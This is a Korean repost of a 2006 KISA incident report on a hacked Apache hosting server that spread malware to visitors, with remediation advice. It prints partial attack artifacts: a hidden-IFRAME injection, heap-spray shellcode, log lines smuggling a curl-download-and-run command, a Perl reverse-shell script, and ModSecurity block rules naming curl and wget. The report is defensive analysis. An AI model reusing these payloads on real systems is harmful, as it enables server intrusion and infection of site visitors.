강좌
클라우드/리눅스에 관한 강좌입니다.
리눅스 분류

아파치 웹서버에서 악성코드 유포 사례

작성자 정보

  • 웹관리자 작성
  • 작성일

컨텐츠 정보

본문

[자료: 한국정보보호진흥원(KISA)]

 

__________________________________________________________________________________________
KISC
인터넷침해사고대응지원센터 - 2 -
1. 개요
한국정보보호진흥원 인터넷침해사고대응지원센터는 자체 개발한 악성코드 은닉사이트 탐지 프
로그램(MCFinder, Malicious Code Finder)을 활용하여 홈페이지 해킹 후 악성코드가 삽입되어 홈
페이지 방문자들을 감염시킬 수 있는 사이트를 탐지하여 조치하고 있다.
2006년 1월~5월까지 약 2천여개의 악성코드 유포지 및 경유지 사이트들을 발견하여 조치하였는
데, 이 중 70여개의 웹서버는 Apache 웹서버였다.
MCFinder를 통해 악성코드가 유포되고 있는 H 기업의 Apache 웹서버를 분석하였다.
분석결과 해당 시스템은 미국으로부터 공격을 받았으며, 테크노트의 취약점이 공격에 악용되었다.
해당 웹서버는 350여개의 웹사이트가 운영되는 웹호스팅 서버였는데, 이들의 모든 index 파일
(5,000여개)에 악성코드가 삽입되어 있었다.
이는 일반적인 악성코드 유포지 또는 경우지 사이트들이 SQL Injection 취약점에 의해 공격받
고, 초기화면 또는 플래쉬 등 특정한 곳에만 악성코드를 숨겨둔 것과는 대조적인 것으로, 국내 공
개 게시판인 테크노트의 취약점을 이용하여 웹 호스팅 서버에서 운영되고 있는 모든 사이트의 모
든 index 파일에 악성코드를 숨겼다는 점에서 주목할 필요가 있다.
또한, 본 사고에서 국내외의 많은 서버들이 악성코드 다운로드 등 해킹 과정에서 이용되고 있었
는데, 국내의 방치된 휴면 홈페이지도 해킹당한 후 Reverse Connection을 위한 용도로 사용되었
다. 정보통신부와 한국정보보호진흥원에서 지난 6월 휴면 홈페이지 정리 캠페인을 실시하였는데,
본 사건을 통해 휴면 홈페이지의 위험성을 느낄 수 있었다.
2. 악성코드 유포 웹사이트 분석
□ 홈페이지 초기화면에 악성코드 삽입
MCFinder는 국내 H 기업의 홈페이지에서 다음과 같은 악성코드를 탐지하였다.
KrCERT-IN-2006-03 http://www.krcert.or.kr
아파치 웹서버에서 악성코드 유포 사례 cert@krcert.or.kr
_______________________________________________________________________________________ _
__________________________________________________________________________________________
KISC
인터넷침해사고대응지원센터 - 3 -
악성코드는 탐지를 어렵게 하기 위해 인코딩되어 있는 상태였으며, 이를 디코딩하면 다음과 같
이 IFRAME 태그를 이용하여 특정 사이트로 연결을 시키고 있었다.
<script language=javascript>document.write(unescape('<IFRAME SRC="http://xxx.info/out.php?s_id=1"
WIDTH=0 BORDER=0 HEIGHT=0 style="display:none"></IFRAME><IFRAME
SRC="http://xxxproxies.com/out.php?s_id=1" WIDTH=0 BORDER=0 HEIGHT=0
style="display:none"></IFRAME>'))</script>
IFRAME에서 링크하고 있는 두 개의 사이트 중 xxx.info는 노르웨이에 할당된 IP 주소였으며,
나머지 한 개의 사이트(xxxproxies.com)은 분석 당시 IP로 resolution이 되지 않았다.
□ 350개 웹사이트 5,000여개 웹 페이지에 악성코드 삽입
해당 피해 웹사이트의 분석을 위해 웹호스팅 서버 분석을 진행하였는데, 피해 웹사이트 뿐만 아니라 해
당 서버 내에 있는 350개 웹사이트의 모든 index 파일이 악성코드에 감염되어 있었다.
[root@linux conf]# grep "<VirtualHost" httpd.conf | grep -v "#" | wc -l
350
[root@linux home]# grep "write(unescape('%3c%49%" -R . |wc -l
5,164
또한, 다음과 같이 인터넷 익스플로러의 버퍼오버플로우 취약점을 공격하는 것으로 추정되는
4digit으로 encoding된 자바스크립트 코드도 다수의 웹 페이지에 삽입되어 있었다.
<SCRIPT language="javascript">
shellcode =
unescape("%u4343%u4343"+"%u0eeb%u4b5b%uc933%uf7b1%u3480%uee0b%ufae2%u05eb%uede
<중간생략>
6%uc182%u9c9a%u8bc0%u8b96%u00ee");
KrCERT-IN-2006-03 http://www.krcert.or.kr
아파치 웹서버에서 악성코드 유포 사례 cert@krcert.or.kr
_______________________________________________________________________________________ _
__________________________________________________________________________________________
KISC
인터넷침해사고대응지원센터 - 4 -
bigblock = unescape("%u0D0D%u0D0D");
headersize = 20;
slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
<중간생략>
memory = new Array();
for (i=0;i<750;i++) memory[i] = block + shellcode;
</SCRIPT>
□ 악성코드 삽입된 웹 페이지 방문시 악성 Bot 감염
일반 인터넷 사용자가 자바스크립트 코드가 삽입된 웹 페이지에 방문하였을 경우 다음과 같이
C:WinNTsystem32 폴더 아래에 a.exe라는 파일이 생성된다.
또한, 레지스트리에 다음과 같이 몇 개의 레지스트리 키에 msgfix.exe라는 값을 넣어 시스템 부팅 후에
도 재 가동될 수 있도록 하고 있다.
a.exe 프로그램은 프랑스에 할당된 IP주소인 xxx.xxx.206.93에 6667포트로 연결되는 것을 볼 수 있었다.
KrCERT-IN-2006-03 http://www.krcert.or.kr
아파치 웹서버에서 악성코드 유포 사례 cert@krcert.or.kr
_______________________________________________________________________________________ _
__________________________________________________________________________________________
KISC
인터넷침해사고대응지원센터 - 5 -
a.exe 프로그램은 바이러스 백신에서 백도어 기능을 가진 SDBot의 변종으로 진단하고 있다.
즉, 홈페이지에 삽입된 악성코드는 홈페이지 방문자들을 IE 취약점을 이용하여 공격한 후, 특정
악성 Bot C&C(명령․제어 서버)로 연결되게 하여 원격제어한다.
□ 웹 로그 분석 결과
피해서버의 웹로그 분석 결과 6월 17일과 28일 양일에 걸쳐 미국에 할당된 IP로부터 테크노트
취약점에 대한 공격이 성공한 것을 발견할 수 있었다. 공격 개요는 다음과 같다.
o 공격 시점 : 2006. 6. 17일, 28일
o 공격 IP : xxx.xxx.201.79(미국 O 대학), xxx.xxx.103.4(미국 R 대학)
o 공격 방법 : 테크노트 CGI 프로그램의 파라미터 입력값 검증 오류 악용
- 테크노트의 CGI 프로그램이 파라미터 입력값에 대한 검증을 하지 않아, 파이프(|) 문자 이후
에 나오는 쉘 명령을 실행하는 취약점을 악용하였음
o 특이사항 : curl 명령을 사용한 해킹 프로그램 설치
- 홈페이지 변조 등 일반적으로 리눅스 서버의 해킹시 해킹 프로그램을 설치하기 위해 wget 명
령을 흔히 사용하고 있으나, 이 사건의 경우 curl 명령을 사용하였음
- curl 명령을 이용하여 /tmp 디렉토리에 cub 라는 Perl 스크립트 파일을 생성하고 이를 실행하였음
※ curl 명령은 HTTP, HTTPS, FTP 등의 프로토콜을 이용하여 원격지 서버와 파일을 송수신할 수 있는 명령어
access_log.1:xxx.xxx.201.79 - - [28/Jun/2006:22:37:37 +0900] "GET
/cgi-bin/technote/main.cgi?down_num=1078999704&board=INT_BOARD&command=down_loa
d&filename=index.htm|cd%20..;cd%20..;cd%20..;cd%20..;cd%20..;cd%20..;cd%20..;cd%20tmp;curl
%20xxx.jino-net.ru%20-o%20cbd;perl%20cbd%20xxx.xxx.222.21| HTTP/1.1" 200 0
...
access_log.2:xxx.xxx.103.4 - - [17/Jun/2006:11:28:31 +0900] "GET
/cgi-bin/technote/main.cgi?down_num=1078999704&board=INT_BOARD&command=down_loa
d&filename=index.htm|cd%20..;cd%20..;cd%20..;cd%20..;cd%20..;cd%20..;cd%20..;cd%20tmp;curl
%20xxx.jino-net.ru%20-o%20cbd;perl%20cbd%20xxx.xxx.222.21| HTTP/1.1" 200 0
□ /tmp 디렉토리에 설치된 해킹 프로그램
일반적으로 공격자들이 해킹 프로그램 설치 디렉토리로 가장 선호하는 /tmp 에 역시 해킹 관
련 프로그램들이 설치되어 있었다.
[root@linux tmp]# ls - alc
-rwxr-xr-x 1 nobody nobody 452101 Jun 28 22:37 brk2
-rw-rw-rw- 1 nobody nobody 546 Jun 28 22:32 cbd
KrCERT-IN-2006-03 http://www.krcert.or.kr
아파치 웹서버에서 악성코드 유포 사례 cert@krcert.or.kr
_______________________________________________________________________________________ _
__________________________________________________________________________________________
KISC
인터넷침해사고대응지원센터 - 6 -
cbd 스크립트는 특정 사이트로 Reverse Connection을 맺기 위한 Perl 스크립트로 보여진다.
[root@linux tmp]# cat cbd
#!/usr/bin/perl
$ARGC=@ARGV;
$shell = '/bin/sh';
print " -+++++cbd by doberman+++++- ";
<중간 생략>
connect(SOCKET, sockaddr_in($ARGV[1] || '3333', inet_aton($ARGV[0] || 'xxx.xxx.222.21')))
or die print " unable connect to host bad port? ";
<중간 생략>
system("pwd;id;uname -a;cat /etc/*release;cat /proc/version");
system($shell);
해킹 피해 서버는 원격에서의 불법 telnet 접속을 차단하기 위해 방화벽을 이용하여 특정 IP에
서만 접속할 수 있도록 설정하고 있었는데, 공격자는 이를 우회하기 위해 Reverse Connection을
하였다.
cbd 스크립트의 내용 중 xxx.xxx.222.21는 국내 B기업이 아직 정식 오픈하지 않은 상태로 방치
하고 있었던 휴면 홈페이지였다. 해당 서버는 리눅스 아파치 웹서버로 다수의 포트가 열려져 있어
보안이 취약한 상태였고, 이미 해킹을 당한 것으로 보여진다. 다음 화면은 B기업의 홈페이지이다.
해당 서버에는 22번 포트와 3332포트에서 각각 SSH 서비스를 하고 있었는데, 3332 포트가 백도어용
으로 사용되고 있는 것으로 보여진다. 앞서 E 웹호스팅 서버에서 발견된 Perl 스크립트에서는 3333번
포트로 접속을 하도록 되어 있었는데, 공격자가 주기적으로 포트를 변경하고 있는 것으로 생각된다.
KrCERT-IN-2006-03 http://www.krcert.or.kr
아파치 웹서버에서 악성코드 유포 사례 cert@krcert.or.kr
_______________________________________________________________________________________ _
__________________________________________________________________________________________
KISC
인터넷침해사고대응지원센터 - 7 -
22 SSH Remote Login Protocol
|___ SSH-1.99-OpenSSH_3.1p1.
3332
|___ SSH-1.5-2.0.13.
피해 웹호스팅 서버의 휘발성 정보 분석시 네트워크 연결상태에 B 기업의 3333번 포트로
Reverse Connection한 흔적이 남아 있었다.
[root@linux root]# netstat -nap
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 8 0 xxx.xxx.20.63:45672 xxx.xxx.222.21:3333 CLOSE_WAIT 26587/
피해 웹호스팅 서버의 /tmp 디렉토리에서 발견된 또 다른 해킹 프로그램(brk2)는 바이너리 파일로
리눅스 커널의 보안 취약점을 이용하여 root 권한을 획득하기 위한 프로그램으로 보여진다.
[root@linux tmp]# strings brk2
<중간생략>
[-] %s: %s
[-] Unable to exit, entering neverending loop.
Kernel seems not to be vulnerable
double allocation
Unable to determine kernel address
Unable to set up LDT
Unable to change page protection
Invalid LDT entry
Unable to jump to call gate
/bin/sh
Unable to spawn shell
PATH=/usr/bin:/bin:/usr/sbin:/sbin
Unable to allocate memory
Unable to unmap stack
<이하 생략>
피해서버는 리눅스 커널 버전이 2.4.20이었다.
[root@linux root]# uname -a
Linux xxx.co.kr 2.4.20-8 #1 Thu Mar 13 17:54:28 EST 2003 i686 i686 i386 GNU/Linux
리눅스 커널 버전 2.4.20 버전에는 일반 사용자가 root 권한을 획득할 수 있는 취약점 등 다양한
취약점이 존재한다.
KrCERT-IN-2006-03 http://www.krcert.or.kr
아파치 웹서버에서 악성코드 유포 사례 cert@krcert.or.kr
_______________________________________________________________________________________ _
__________________________________________________________________________________________
KISC
인터넷침해사고대응지원센터 - 8 -
결과적으로 테크노트의 취약점을 이용하여 웹서버 권한(nobody)으로 cbd 백도어로 Reverse
Connection을 맺은 후, brk2 해킹 프로그램으로 root 권한을 획득한 후, 모든 홈페이지에 악성코
드를 삽입한 것으로 추측된다.
3. 결론 및 대책
본 사고는 기존 사고와는 다른 몇 가지 특징을 띄고 있으며, 다음과 같은 시사점을 주고 있다.
첫째, 공개 게시판 취약점을 이용하여 악성코드를 유포하였다.
기존의 SQL Injection 뿐만 아니라 공개 게시판인 테크노트의 보안 취약점도 악성코드 유포에 이
용되었다. 이는 국내에서 가장 많이 사용되고 있는 제로보드의 취약점을 이용한 악성코드 유포도
있을 수 있음을 시사한다.
둘째, 웹호스팅 서비스를 받고 있는 중소규모 웹사이트를 악성코드 유포에 이용하였다.
기존은 일반 사용자들의 방문이 많은 뉴스 사이트 등 주로 대규모 웹사이트들이 공격 대상이 되
었으나, 웹호스팅 서비스를 받는 중소규모 웹사이트 수백개에 악성코드를 삽입하였다. 또한, 웹호
스팅업체들의 아파치 웹서버는 홈페이지 변조가 가장 대표적인 피해였지만, 보다 범죄적인 악성코
드 유포에도 아파치 웹서버들이 악용되고 있음에 주목할 필요가 있다.
셋째, 국내 휴면 홈페이지가 해킹의 숙주 역할을 하고 있었다.
웹사이트 오픈을 준비하기 위해 방치되었던 B기업의 홈페이지가 Reverse Connection을 위한 용도로
KrCERT-IN-2006-03 http://www.krcert.or.kr
아파치 웹서버에서 악성코드 유포 사례 cert@krcert.or.kr
_______________________________________________________________________________________ _
__________________________________________________________________________________________
KISC
인터넷침해사고대응지원센터 - 9 -
사용되었는데, 방치된 휴면 홈페이지가 해킹에 사용된 사례라고 할 수 있다. 지난 5월 인터넷침해
사고대응지원센터에서 실시한 휴면 홈페이지 실태조사에서 해킹당한 홈페이지가 전체 홈페이지에
비해 2배 정도 많이 휴면 상태였다(전체 홈페이지 중 휴면 홈페이지 비율은 14.5%였으며, 해킹당한
홈페이지 중 휴면 홈페이지 비율은 30%정도였음). 즉, 실태조사를 통해 휴면 홈페이지는 해킹당할
가능성도 높음을 알 수 있었으며, 이번 사고에서도 휴면 홈페이지가 해킹에 악용되고 있었다.
본 사건에 대한 보안 대책은 다음과 같다.
첫째, 테크노트에 대한 최신 보안 패치를 적용한다.
테크노트 홈페이지(http://www.technote.co.kr/)에서 2006년 2월 22일 배포한 「테크노트 PHP6」
정식버전을 설치한다.
둘째, 최신 리눅스 커널로 패치한다.
최근 리눅스 커널의 취약점으로 인해 로컬 사용자가 root 권한을 획득할 수 있는 취약점들이 다수
존재한다. 따라서 http://www.kernel.org/ 로부터 최신의 리눅스 커널을 다운로드 받아 설치하도
록 한다.
셋째, Apache용 공개 웹방화벽 ModSecurity를 이용하여 보안을 강화한다.
아래 기술문서를 참조하여 ModSecurity를 설치하고 운영한다.
www.krcert.or.kr → 보안정보 → 기술문서 → “ModSecurity를 이용한 아파치 웹서버 보안”
금번 사고와 같이 URL 파라메터 입력값에 curl 명령 등을 사용한 공격을 차단하기 위해서 다음과
같은 룰을 ModSecurity에 적용할 수 있다.
SecFilterSelective HTTP_User-Agent "(libwhisker|paros|wget|libwww|perl|curl|java)"
SecFilterSelective ARGS "<script"
SecFilterSelective ARGS "javascript:"
SecFilterSelective ARGS_VALUES ";[[:space:]]*(ls|id|pwd|wget|curl)"
SecFilterSelective ARGS_VALUES "^http:/"
넷째, 일반 사용자의 경우 반드시 최신 보안 패치를 유지한다.
본 사고에서도 일반 사용자들의 PC가 보안패치되어 있지 않을 경우 홈페이지 방문만으로 악성
Bot에 감염될 수 있다. 따라서, OS 및 IE에 대한 보안 패치를 주기적으로 하고, 가능한 “자동 보
안 업데이트” 기능을 설정해 놓도록 하여야 한다.

관련자료

댓글 0
등록된 댓글이 없습니다.

공지사항


뉴스광장


  • 현재 회원수 :  60,037 명
  • 현재 강좌수 :  35,806 개
  • 현재 접속자 :  153 명